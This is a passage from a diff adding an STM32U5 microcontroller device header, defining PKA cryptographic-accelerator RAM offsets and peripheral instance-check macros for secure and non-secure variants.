/*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/** @addtogroup STM32U5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S) || \ + ((INSTANCE) == ADC2_NS) || \ + ((INSTANCE) == ADC2_S) || \ + ((INSTANCE) == ADC4_NS) || \ + ((INSTANCE) == ADC4_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S) || \ + ((INSTANCE) == ADC4_COMMON_NS) || \ + ((INSTANCE) == ADC4_COMMON_S)) + +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************** FDCAN Instances *****************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/******************************** COMP Instances ******************************/ +#define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************** COMP Instances with window mode capability **************/ +#define IS_COMP_WINDOWMODE_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI2_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI2_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S) || \ + ((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +#define IS_LPDMA_INSTANCE(INSTANCE) (((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S) || \ + ((INSTANCE) == OTFDEC2_NS) || ((INSTANCE) == OTFDEC2_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_SRAM4_NS) || ((INSTANCE) == RAMCFG_SRAM4_S) || \ + ((INSTANCE) == RAMCFG_SRAM5_NS) || ((INSTANCE) == RAMCFG_SRAM5_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S) || \ + ((INSTANCE) == RAMCFG_SRAM6_NS) || ((INSTANCE) == RAMCFG_SRAM6_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG IT Instances ******************************/ +#define IS_RAMCFG_IT_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GFXMMU Instances *******************************/ +#define IS_GFXMMU_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GFXMMU_NS) || ((INSTANCE) == GFXMMU_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S) || \ + ((INSTANCE) == GPIOJ_NS) || ((INSTANCE) == GPIOJ_S) || \ + ((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* LPGPIO Instances *****************************/ +#define IS_LPGPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/****************************** LTDC Instances ********************************/ +#define IS_LTDC_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == LTDC_NS) || ((__INSTANCE__) == LTDC_S)) + +/******************************* DMA2D Instances *******************************/ +#define IS_DMA2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DMA2D_NS) || ((__INSTANCE__) == DMA2D_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S) || \ + ((INSTANCE) == DCACHE2_NS) || ((INSTANCE) == DCACHE2_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On U5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On U5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************* I2C Instances : Group belongingness *********************/ +#define IS_I2C_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_I2C_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************************** OPAMP Instances *******************************/ +#define IS_OPAMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OPAMP1_NS) || ((INSTANCE) == OPAMP1_S) || \ + ((INSTANCE) == OPAMP2_NS) || ((INSTANCE) == OPAMP2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S) || \ + ((INSTANCE) == OCTOSPI2_NS) || ((INSTANCE) == OCTOSPI2_S)) + +/******************************* HSPI Instances *******************************/ +#define IS_HSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == HSPI1_NS) || ((INSTANCE) == HSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/******************* SMBUS Instances : Group belongingness *********************/ +#define IS_SMBUS_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_SMBUS_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) 